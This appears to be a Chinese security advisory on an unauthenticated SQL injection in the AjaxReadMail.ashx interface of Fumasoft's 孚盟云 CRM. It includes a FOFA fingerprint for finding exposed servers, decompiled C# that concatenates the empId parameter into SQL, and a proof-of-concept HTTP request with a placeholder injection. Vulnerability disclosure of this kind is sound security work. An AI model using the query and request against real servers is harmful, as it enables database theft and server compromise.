孚盟云CRM AjaxReadMail.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxReadMail.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxReadMail.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxReadMail 方法的实现如下

string str3 = context.Request["method"].ToString();
string empty8 = string.Empty;
string empty9 = string.Empty;
string s = str3;
switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s))
{
...
if (!string.op_Equality(s, "getHeadImage"))
  break;
try
{
  string empPic = new VTSupport().GetEmpPic(context.Request["empId"] == null ? "" : context.Request["empId"].ToString());
  context.Response.Write(empPic);
  break;
}

当method=GetEmpPic时,进入GetEmpPic方法

public string GetEmpPic(string empId)
{
  DataTable table = this.dbHelper.Query($"select * from bfEmp where EmpID='{empId}' ").Tables[0];
  return this.getEmpPicHtml(table.Rows[0]["HeadPic"].ToString(), table.Rows[0]["CNEmpName"].ToString(), empId);
}

参数empID被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。

downLoadAttachFiles方法也存在同样的拼接导致的SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/AjaxReadMail.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1","corpId": "1"}
Content-Type: application/x-www-form-urlencoded

method=getHeadImage&empId='SQLI_POC--


手机扫码阅读

金和OA ExamineNodCommisionDefault.aspx XXE漏洞

金和OA ExamineNodXml.aspx XXE漏洞

评 论